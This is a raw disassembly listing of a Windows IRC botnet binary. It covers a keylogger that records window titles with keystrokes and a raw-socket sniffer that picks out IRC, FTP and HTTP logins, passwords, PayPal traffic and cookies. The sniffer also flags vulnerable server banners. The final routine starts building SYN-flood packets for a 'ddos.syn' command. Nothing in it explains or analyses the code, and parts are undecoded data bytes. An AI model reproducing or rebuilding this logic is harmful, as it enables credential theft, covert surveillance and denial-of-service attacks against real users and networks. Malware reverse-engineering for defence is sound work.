					; seg000:00411F99j ...
		test	esi, esi
		jge	short loc_411FC4
		mov	dword ptr [ebp+edi*4-8DCh], 3
		jmp	loc_4120F9
; ---------------------------------------------------------------------------


loc_411FC4:				; CODE XREF: seg000:00411F94j
					; seg000:00411FB2j
		mov	dword ptr [ebp+edi*4-8DCh], 4
		jmp	loc_4120F9
; ---------------------------------------------------------------------------


loc_411FD4:				; CODE XREF: seg000:00411F57j
		lea	eax, [ebp+edi*4-8DCh]
		mov	esi, [eax]
		test	esi, esi
		jz	loc_4120F9
		and	dword ptr [eax], 0
		lea	eax, [ebp-2DCh]
		push	eax
		call	sub_41B1D0
		cmp	edi, 8
		pop	ecx
		jnz	short loc_412007
		and	byte ptr [ebp+eax-2DDh], 0
		jmp	loc_4120F9
; ---------------------------------------------------------------------------


loc_412007:				; CODE XREF: seg000:00411FF8j
		cmp	eax, 1B9h
		jbe	short loc_412033
		call	ds:dword_4CDB7C	; GetForegroundWindow
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		call	ds:dword_4CDB94	; GetWindowTextA
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-2DCh]
		push	eax
		push	offset aSBufferFullS ; "%s (Buffer full) (%s)"
		jmp	short loc_412074
; ---------------------------------------------------------------------------


loc_412033:				; CODE XREF: seg000:0041200Cj
		cmp	edi, 0Dh
		jnz	loc_4120CB
		lea	eax, [ebp-2DCh]
		push	eax
		call	sub_41B1D0
		test	eax, eax
		pop	ecx
		jz	loc_4120F9
		call	ds:dword_4CDB7C	; GetForegroundWindow
		lea	ecx, [ebp-48h]
		push	3Ch
		push	ecx
		push	eax
		call	ds:dword_4CDB94	; GetWindowTextA
		lea	eax, [ebp-48h]
		push	eax
		lea	eax, [ebp-2DCh]
		push	eax
		push	offset aSReturnS ; "%s (Return)	(%s)"


loc_412074:				; CODE XREF: seg000:00412031j
		lea	eax, [ebp-4DCh]
		push	eax
		call	sub_41BA76
		sub	esp, 84h
		lea	esi, [ebp-0DCh]
		lea	eax, [ebp-4DCh]
		push	25h
		pop	ecx
		mov	edi, esp
		push	eax
		rep movsd
		call	sub_411D74
		mov	[ebp-4], eax
		push	ebx
		lea	eax, [ebp-2DCh]
		push	0
		push	eax
		call	sub_41B780
		add	esp, 0A4h
		lea	eax, [ebp-4DCh]
		push	ebx
		push	0
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		jmp	short loc_4120F9
; ---------------------------------------------------------------------------


loc_4120CB:				; CODE XREF: seg000:00412036j
		cmp	esi, 1
		jz	short loc_4120E4
		cmp	esi, 3
		jz	short loc_4120E4
		cmp	esi, 2
		jz	short loc_4120DF
		cmp	esi, 4
		jnz	short loc_4120F9


loc_4120DF:				; CODE XREF: seg000:004120D8j
		push	dword ptr [ebp+8]
		jmp	short loc_4120EB
; ---------------------------------------------------------------------------


loc_4120E4:				; CODE XREF: seg000:004120CEj
					; seg000:004120D3j
		mov	eax, [ebp+8]
		add	eax, 7
		push	eax


loc_4120EB:				; CODE XREF: seg000:004120E2j
		lea	eax, [ebp-2DCh]
		push	eax
		call	sub_41C0B0
		pop	ecx
		pop	ecx


loc_4120F9:				; CODE XREF: seg000:00411F80j
					; seg000:00411FABj ...
		add	dword ptr [ebp+8], 14h
		cmp	dword ptr [ebp+8], offset dword_437A2C
		jl	loc_411F3D
		cmp	dword ptr [ebp-4], 0
		jz	loc_411EAE
		push	dword ptr [ebp-0D8h]
		call	sub_40B287
		pop	ecx
		push	0
		call	near ptr 0B10000h
		icebp


loc_412128:				; DATA XREF: seg000:00405C12o
		push	ebp
		mov	ebp, esp
		mov	eax, 102B4h
		call	sub_41BD10
		mov	edx, [ebp+8]
		push	esi
		push	edi
		push	25h
		xor	eax, eax
		pop	ecx
		mov	esi, edx
		lea	edi, [ebp-0B4h]
		inc	eax
		push	10h
		rep movsd
		mov	[ebp-8], eax
		mov	[edx+90h], eax
		xor	esi, esi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	esi
		call	ds:dword_4CDBF8	; htons
		push	dword ptr [ebp-0B4h]
		mov	[ebp-1Ah], ax
		call	sub_40AAF8
		pop	ecx
		push	eax
		call	ds:dword_4CDC38	; inet_addr
		push	esi
		push	3
		push	2
		mov	[ebp-18h], eax
		call	ds:dword_4CDC78	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-4], edi
		jnz	short near ptr loc_4121FC+1
		call	ds:dword_4CDB8C	; WSAGetLastError
		push	eax
		lea	eax, [ebp-2B4h]
		push	offset dword_438434
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		cmp	[ebp-28h], esi
		jnz	short loc_4121E0
		push	esi
		lea	eax, [ebp-2B4h]
		push	dword ptr [ebp-2Ch]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		push	dword ptr [ebp-0B4h]
		call	sub_409966
		add	esp, 14h


loc_4121E0:				; CODE XREF: seg000:004121BEj
		lea	eax, [ebp-2B4h]
		push	eax
		call	sub_4152AE
		push	dword ptr [ebp-30h]
		call	sub_40B287
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 0B10000h


loc_4121FC:				; CODE XREF: seg000:0041219Ej
		and	eax, 6AD0458Bh
		adc	[ecx-40h], ch
		xor	al, 2
; ---------------------------------------------------------------------------
		dw 0
		dd 0B44B889h, 458D0044h, 0FF5750E4h, 4CDC2415h,	0FFF88300h
		dd 15FF6475h, 4CDB8Ch, 4C858D50h, 68FFFFFDh, 438408h, 9840E850h
		dd 0C4830000h, 0D875390Ch, 8D562075h, 0FFFD4C85h, 0D475FFFFh
		dd 50858D50h, 50FFFFFFh, 0FF4CB5FFh, 0BE8FFFFh,	83FFFF77h
		dd 858D14C4h, 0FFFFFD4Ch, 3044E850h, 57590000h,	0DC9015FFh
		dd 75FF004Ch, 900DE8D0h, 5659FFFFh, 6FDD7FE8h, 8D56AD00h
		dd 5056E045h, 458D5656h, 50046AF8h, 168h, 15FF5798h, 4CDBA4h
		dd 75FFF883h, 8C15FF64h, 50004CDBh, 0FD4C858Dh,	0D868FFFFh
		dd 50004383h, 97BDE8h, 0CC48300h, 75D87539h, 858D5620h
		dd 0FFFFFD4Ch, 50D475FFh, 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h
		dd 7688E8FFh, 0C483FFFFh, 4C858D14h, 50FFFFFDh,	2FC1E8h
		dd 0FF575900h, 4CDC9015h, 0D075FF00h, 0FF8F8AE8h, 0E85659FFh
		dd 6FDCFCh, 0F0BB532Fh,	6800437Ah, 0FFFFh, 0FD4C858Dh
		dd 5056FFFEh, 9463E8h, 0CC48300h, 0FD4C858Dh, 6856FFFEh
		dd 0FFFFh, 15FF5750h, 4CDC10h, 0FFFF883h, 0F784h, 55BD8000h
		dd 6FFFEFDh, 858BC575h,	0FFFEFD58h, 0FD6DBD80h,	8918FFFEh
		dd 0B375F445h, 0FD74858Dh, 0CC68FFFEh, 50004383h, 9787E8h
		dd 0C0855900h, 8D9C7559h, 0FEFD7485h, 83BC68FFh, 0E8500043h
		dd 9770h, 59C08559h, 0FF338575h, 5D89C38Bh, 858D5008h
		dd 0FFFEFD74h, 9756E850h, 85590000h, 127559C0h,	8458347h
		dd 8458B18h, 7D8BE375h,	0FF59E9FCh, 858DFFFFh, 0FFFEFD74h
		dd 60B5FF50h, 0FFFFFEFDh, 4CDB2815h, 0C0B70F00h, 0F475FF50h
		dd 0DC8415FFh, 8D50004Ch, 48B7F04h, 437B04C5h, 8534FF00h
		dd 437AE0h, 0FD4C858Dh,	8868FFFFh, 68004383h, 200h, 9776E850h
		dd 0C4830000h, 0D875391Ch, 8D562075h, 0FFFD4C85h, 0D475FFFFh
		dd 50858D50h, 50FFFFFFh, 0FF4CB5FFh, 47E8FFFFh,	83FFFF75h
		dd 858D14C4h, 0FFFFFD4Ch, 2E80E850h, 0E9590000h, 0FFFFFF76h
		dd 0DB8C15FFh, 6850004Ch, 43835Ch, 0FD4C858Dh, 68FFFFh
		dd 50000002h, 971FE8h, 10C48300h, 5BD87539h, 8D562075h
		dd 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh, 0FF4CB5FFh
		dd 0EFE8FFFFh, 83FFFF74h, 858D14C4h, 0FFFFFD4Ch, 2E28E850h
		dd 57590000h, 0DC9015FFh, 75FF004Ch, 8DF1E8D0h,	5659FFFFh
		dd 6FDB63E8h
		db 0, 99h

; =============== S U B	R O U T	I N E =======================================



sub_41249E	proc near		; CODE XREF: seg000:004129C3p
					; seg000:004129EDp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ds:dword_4D0938, eax
		mov	eax, offset dword_4D0938
		retn
sub_41249E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4124AD	proc near		; CODE XREF: seg000:00412A64p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aBotSniff ; "Bot	sniff"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4124C7


loc_4124C3:				; CODE XREF: sub_4124AD+29j
					; sub_4124AD+3Aj ...
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4124C7:				; CODE XREF: sub_4124AD+14j
		push	offset aBo	; "#Bo"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124C3
		push	offset aPsniff_1 ; "[PSNIFF]:"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124C3
		push	offset aPsniff_0 ; "PSNIFF//"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4124C3
		push	offset aJoin_0	; "JOIN	#"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41250F


loc_41250B:				; CODE XREF: sub_4124AD+71j
					; sub_4124AD+82j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41250F:				; CODE XREF: sub_4124AD+5Cj
		push	offset a302_0	; "302 "
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41250B
		push	offset a366	; "366 "
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41250B
		push	offset a_login_0 ; ":.login"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41250B
		push	offset aLogin_1	; ":!login"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41250B
		push	offset aLogin_0	; ":!Login"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41250B
		push	offset a_login	; ":.Login"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41250B
		push	offset a_ident	; ":.ident"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41250B
		push	offset aIdent	; ":!ident"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41250B
		push	offset a_hashin	; ":.hashin"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41250B
		push	offset aHashin	; ":!hashin"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4124AD	endp


; =============== S U B	R O U T	I N E =======================================



sub_4125C4	proc near		; CODE XREF: seg000:loc_412A93p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aIrcSniff ; "IRC	sniff"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4125DE


loc_4125DA:				; CODE XREF: sub_4125C4+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4125DE:				; CODE XREF: sub_4125C4+14j
		push	offset aBo	; "#Bo"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4125DA
		push	offset aOper_0	; "OPER	"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412604


loc_412600:				; CODE XREF: sub_4125C4+4Fj
					; sub_4125C4+60j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412604:				; CODE XREF: sub_4125C4+3Aj
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412600
		push	offset aOper	; "oper	"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412600
		push	offset aYouAreNowAnIrc ; "You are now an IRC Operator"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4125C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41263A	proc near		; CODE XREF: seg000:loc_412ABFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aFtpSniff ; "FTP	sniff"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412654


loc_412650:				; CODE XREF: sub_41263A+29j
					; sub_41263A+3Aj
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412654:				; CODE XREF: sub_41263A+14j
		push	offset aBo	; "#Bo"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412650
		push	offset aNick_1	; "NICK	"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412650
		push	offset a220	; "220 "
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41268B


loc_412687:				; CODE XREF: sub_41263A+60j
					; sub_41263A+71j
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41268B:				; CODE XREF: sub_41263A+4Bj
		push	offset a230	; "230 "
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412687
		push	offset aUser_3	; "USER	"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412687
		push	offset aPass_1	; "PASS	"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_41263A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4126C1	proc near		; CODE XREF: seg000:00412AF2p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aHttpSniff ; "HTTP sniff"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4126DB


loc_4126D7:				; CODE XREF: sub_4126C1+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4126DB:				; CODE XREF: sub_4126C1+14j
		push	offset aBo	; "#Bo"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4126D7
		push	offset aPaypal	; "paypal"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412701


loc_4126FD:				; CODE XREF: sub_4126C1+4Fj
					; sub_4126C1+60j ...
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412701:				; CODE XREF: sub_4126C1+3Aj
		push	offset aPaypal_0 ; "PAYPAL"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4126FD
		push	offset aPaypal_com_0 ; "PAYPAL.COM"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4126FD
		push	offset aPaypal_com ; "paypal.com"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4126FD
		push	offset aSetCookie ; "Set-Cookie:"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_4126C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_412748	proc near		; CODE XREF: seg000:loc_412B5Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset aVulnSniff ; "VULN sniff"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412762


loc_41275E:				; CODE XREF: sub_412748+29j
		xor	al, al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412762:				; CODE XREF: sub_412748+14j
		push	offset aBo	; "#Bo"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41275E
		push	offset aOpenssl0_9_6 ; "OpenSSL/0.9.6"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_412788


loc_412784:				; CODE XREF: sub_412748+4Fj
		mov	al, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_412788:				; CODE XREF: sub_412748+3Aj
		push	offset aServUFtpServer ; "Serv-U FTP Server"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412784
		push	offset aOpenssh_2 ; "OpenSSH_2"
		push	esi
		call	sub_41BAF0
		pop	ecx
		test	eax, eax
		pop	ecx
		pop	esi
		setnz	al
		retn
sub_412748	endp

; ---------------------------------------------------------------------------


loc_4127AD:				; DATA XREF: seg000:00405D60o
		push	ebp
		mov	ebp, esp
		mov	eax, 113B8h
		call	sub_41BD10
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	25h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-0B8h]
		rep movsd
		xor	esi, esi
		push	3Fh
		inc	esi
		xor	ebx, ebx
		mov	[eax+90h], esi
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-3B7h]
		mov	[ebp-3B8h], bl
		push	0FFh
		rep stosd
		stosw
		lea	eax, [ebp-3B8h]
		mov	word ptr [ebp-20h], 2
		push	eax
		mov	[ebp-1Eh], bx
		mov	[ebp-1Ch], ebx
		call	ds:dword_4CDC0C	; gethostname
		lea	eax, [ebp-3B8h]
		push	eax
		call	ds:dword_4CDC7C	; gethostbyname
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, [eax+0Ch]
		push	ecx
		push	dword ptr [eax]
		lea	eax, [ebp-8]
		push	eax
		call	sub_41C500
		mov	eax, [ebp-8]
		add	esp, 0Ch
		mov	[ebp-1Ch], eax
		push	ebx
		push	3
		push	2
		call	ds:dword_4CDC78	; socket
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-10h], edi
		jnz	short loc_412853
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_412853:				; CODE XREF: seg000:00412848j
		lea	eax, [ebp-20h]
		push	10h
		push	eax
		push	edi
		call	ds:dword_4CDC24	; bind
		cmp	eax, 0FFFFFFFFh
		jnz	short near ptr loc_4128C8+1
		call	ds:dword_4CDB8C	; WSAGetLastError
		push	eax
		lea	eax, [ebp-2B8h]
		push	offset unk_438708
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		cmp	[ebp-2Ch], ebx
		jnz	short loc_4128A5
		push	ebx
		lea	eax, [ebp-2B8h]
		push	dword ptr [ebp-30h]
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		push	dword ptr [ebp-0B8h]
		call	sub_409966
		add	esp, 14h


loc_4128A5:				; CODE XREF: seg000:00412883j
		lea	eax, [ebp-2B8h]
		push	eax
		call	sub_4152AE
		pop	ecx
		push	edi
		call	ds:dword_4CDC90	; closesocket
		push	dword ptr [ebp-34h]
		call	sub_40B287
		pop	ecx
		push	ebx
		call	near ptr 0B10000h


loc_4128C8:				; CODE XREF: seg000:00412863j
		sub	eax, 0DC458D53h
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp-0Ch]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp-0Ch], esi
		call	ds:dword_4CDBA4	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41294F
		call	ds:dword_4CDB8C	; WSAGetLastError
		push	eax
		lea	eax, [ebp-2B8h]
		push	offset unk_4386D8
		push	eax
		call	sub_41BA76
		add	esp, 0Ch
		cmp	[ebp-2Ch], ebx
		jnz	short loc_41292B
		push	ebx
		lea	eax, [ebp-2B8h]
		push	dword ptr [ebp-30h]
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		push	dword ptr [ebp-0B8h]
		call	sub_409966
		add	esp, 14h


loc_41292B:				; CODE XREF: seg000:00412909j
		lea	eax, [ebp-2B8h]
		push	eax
		call	sub_4152AE
		pop	ecx
		push	edi
		call	ds:dword_4CDC90	; closesocket
		push	dword ptr [ebp-34h]
		call	sub_40B287
		pop	ecx
		push	ebx
		call	near ptr 0B10000h
		movsb


loc_41294F:				; CODE XREF: seg000:004128E9j
		mov	esi, 200h


loc_412954:				; CODE XREF: seg000:00412983j
					; seg000:004129ACj ...
		mov	edi, 0FFFFh
		lea	eax, [ebp-113B8h]
		push	edi
		push	ebx
		push	eax
		call	sub_41B780
		add	esp, 0Ch
		lea	eax, [ebp-113B8h]
		push	ebx
		push	edi
		push	eax
		push	dword ptr [ebp-10h]
		call	ds:dword_4CDC10	; recv
		cmp	byte ptr [ebp-113AFh], 6
		jnz	short loc_412954
		push	dword ptr [ebp-113A4h]
		call	ds:dword_4281E8	; htons
		push	dword ptr [ebp-113A2h]
		movzx	edi, ax
		mov	[ebp-4], edi
		call	ds:dword_4281E8	; htons
		movzx	eax, ax
		cmp	edi, 6Eh
		mov	[ebp+8], eax
		jz	short loc_412954
		cmp	edi, 19h
		jz	short loc_412954
		cmp	eax, 6Eh
		jz	short loc_412954
		cmp	eax, 19h
		jz	short loc_412954
		push	dword ptr [ebp-113ACh]
		call	sub_41249E
		mov	edi, ds:dword_4281EC
		add	esp, 4
		push	dword ptr [eax]
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [ebp-13B8h]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BA76
		push	dword ptr [ebp-113A8h]
		call	sub_41249E
		add	esp, 10h
		push	dword ptr [eax]
		call	edi	; inet_ntoa
		push	eax
		lea	eax, [ebp-0BB8h]
		push	offset aS_2	; "%s"
		push	eax
		call	sub_41BA76
		lea	eax, [ebp-1138Ch]
		xor	edi, edi
		push	eax
		call	sub_41B1D0
		add	esp, 10h
		test	eax, eax
		jle	short loc_412A49


loc_412A20:				; CODE XREF: seg000:00412A47j
		lea	eax, [ebp+edi-1138Ch]
		cmp	byte ptr [eax],	0Dh
		jnz	short loc_412A2F
		mov	byte ptr [eax],	20h


loc_412A2F:				; CODE XREF: seg000:00412A2Aj
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_412A37
		mov	byte ptr [eax],	20h


loc_412A37:				; CODE XREF: seg000:00412A32j
		lea	eax, [ebp-1138Ch]
		inc	edi
		push	eax
		call	sub_41B1D0
		cmp	edi, eax
		pop	ecx
		jl	short loc_412A20


loc_412A49:				; CODE XREF: seg000:00412A1Ej
		cmp	dword ptr [ebp-4], 50h
		jz	loc_412AEB
		cmp	dword ptr [ebp+8], 50h
		jz	loc_412AEB
		lea	eax, [ebp-1138Ch]
		push	eax
		call	sub_4124AD
		test	al, al
		pop	ecx
		lea	eax, [ebp-1138Ch]
		push	eax
		jz	short loc_412A93
		push	dword ptr [ebp+8]
		lea	eax, [ebp-0BB8h]
		push	eax
		lea	eax, [ebp-13B8h]
		push	dword ptr [ebp-4]
		push	eax
		push	offset unk_4386A4
		jmp	loc_412B1C
; ---------------------------------------------------------------------------


loc_412A93:				; CODE XREF: seg000:00412A73j
		call	sub_4125C4
		test	al, al
		pop	ecx
		lea	eax, [ebp-1138Ch]
		push	eax
		jz	short loc_412ABF
		push	dword ptr [ebp+8]
		lea	eax, [ebp-0BB8h]
		push	eax
		lea	eax, [ebp-13B8h]
		push	dword ptr [ebp-4]
		push	eax
		push	offset unk_438670
		jmp	short loc_412B1C
; ---------------------------------------------------------------------------


loc_412ABF:				; CODE XREF: seg000:00412AA2j
		call	sub_41263A
		test	al, al
		pop	ecx
		jz	short loc_412AEB
		lea	eax, [ebp-1138Ch]
		push	eax
		lea	eax, [ebp-0BB8h]
		push	dword ptr [ebp+8]
		push	eax
		lea	eax, [ebp-13B8h]
		push	dword ptr [ebp-4]
		push	eax
		push	offset unk_43863C
		jmp	short loc_412B1C
; ---------------------------------------------------------------------------


loc_412AEB:				; CODE XREF: seg000:00412A4Dj
					; seg000:00412A57j ...
		lea	eax, [ebp-1138Ch]
		push	eax
		call	sub_4126C1
		test	al, al
		pop	ecx
		lea	eax, [ebp-1138Ch]
		push	eax
		jz	short loc_412B5A
		push	dword ptr [ebp+8]
		lea	eax, [ebp-0BB8h]
		push	eax
		lea	eax, [ebp-13B8h]
		push	dword ptr [ebp-4]
		push	eax
		push	offset unk_438604


loc_412B1C:				; CODE XREF: seg000:00412A8Ej
					; seg000:00412ABDj ...
		lea	eax, [ebp-2B8h]
		push	esi
		push	eax
		call	sub_41BB70
		add	esp, 20h
		cmp	[ebp-2Ch], ebx
		jnz	loc_412954
		push	ebx
		lea	eax, [ebp-2B8h]
		push	dword ptr [ebp-30h]
		push	eax
		lea	eax, [ebp-0B4h]
		push	eax
		push	dword ptr [ebp-0B8h]
		call	sub_409966
		add	esp, 14h
		jmp	loc_412954
; ---------------------------------------------------------------------------


loc_412B5A:				; CODE XREF: seg000:00412B01j
		call	sub_412748
		test	al, al
		pop	ecx
		jz	loc_412954
		lea	eax, [ebp-1138Ch]
		push	eax
		lea	eax, [ebp-0BB8h]
		push	dword ptr [ebp+8]
		push	eax
		lea	eax, [ebp-13B8h]
		push	dword ptr [ebp-4]
		push	eax
		push	offset unk_4385CC
		jmp	short loc_412B1C
; ---------------------------------------------------------------------------
word_412B8A	dw 8B55h		; DATA XREF: seg000:00407FA5o
		dd 94EC81ECh, 8B000004h, 57560845h, 0A5B9h, 8DF08B00h
		dd 0FFFD6CBDh, 0C7A5F3FFh, 29080h, 100h, 0A815FF00h, 50004280h
		dd 8F0BE8h, 74858D00h, 50FFFFFEh, 0FF74858Dh, 8D50FFFFh
		dd 0FFFDF485h, 858D50FFh, 0FFFFFD74h, 394E850h,	8D500000h
		dd 0FFFB6C85h, 873468FFh, 0E8500043h, 8E86h, 0C483F633h
		dd 0F8753920h, 8D562075h, 0FFFB6C85h, 0F475FFFFh, 0F4858D50h
		dd 50FFFFFEh, 0FD6CB5FFh, 4FE8FFFFh, 83FFFF6Dh,	858D14C4h
		dd 0FFFFFB6Ch, 2688E850h, 0B5FF0000h, 0FFFFFD70h, 0FF8656E8h
		dd 565959FFh, 6FD3C7E8h, 5E5FD800h
; ---------------------------------------------------------------------------


loc_412C3C:				; CODE XREF: seg000:00412FB2p
		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-0B3h]
		mov	[ebp-0B4h], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-284h]
		push	eax
		push	202h
		call	ds:dword_4CDB68	; WSAStartup
		test	eax, eax
		jz	short loc_412C7C
		xor	eax, eax
		jmp	loc_412F45
; ---------------------------------------------------------------------------


loc_412C7C:				; CODE XREF: seg000:00412C73j
		xor	edi, edi
		inc	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	ds:dword_4CDC9C	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-20h], eax
		jz	loc_412F3D
		push	esi
		lea	ecx, [ebp-40h]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp-40h], edi
		call	ds:dword_4CDBD8	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_412F33
		push	dword ptr [ebp+14h]
		mov	word ptr [ebp-58h], 2
		call	ds:dword_4CDBF8	; htons
		mov	esi, [ebp+8]
		push	28h
		mov	[ebp-56h], ax
		mov	[ebp-54h], esi
		mov	byte ptr [ebp-34h], 45h
		call	ds:dword_4CDBF8	; htons
		push	dword ptr [ebp+14h]
		mov	[ebp-32h], ax
		mov	[ebp-30h], di
		mov	[ebp-2Eh], bx
		mov	byte ptr [ebp-2Ch], 80h
		mov	byte ptr [ebp-2Bh], 6
		mov	[ebp-2Ah], bx
		mov	[ebp-24h], esi
		call	ds:dword_4CDBF8	; htons
		mov	[ebp-12h], ax
		call	sub_41BAD2
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	ds:dword_4CDBF8	; htons
		push	12345678h
		mov	[ebp-14h], ax
		call	ds:dword_4CDBF4	; htonl
		push	offset aDdos_syn ; "ddos.syn"
		mov	[ebp-10h], eax
		push	dword ptr [ebp+10h]
		call	sub_41C260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_412D4C
		mov	[ebp-0Ch], ebx
		mov	byte ptr [ebp-7], 2
		jmp	short loc_412DA0
; ---------------------------------------------------------------------------


